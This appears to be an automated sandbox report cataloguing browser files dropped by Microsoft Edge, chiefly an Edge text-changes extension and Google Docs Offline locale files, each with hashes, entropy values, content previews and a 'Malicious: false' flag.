Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir8988_1986525455\6de15e82-43ec-4291-a2c1-584960b4a3b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir8988_1986525455\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8988_1986525455\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8988_1986525455\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir8988_1986525455\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\7741bb58-1183-49e9-b8a2-d1054ef042ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8988_76811058\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
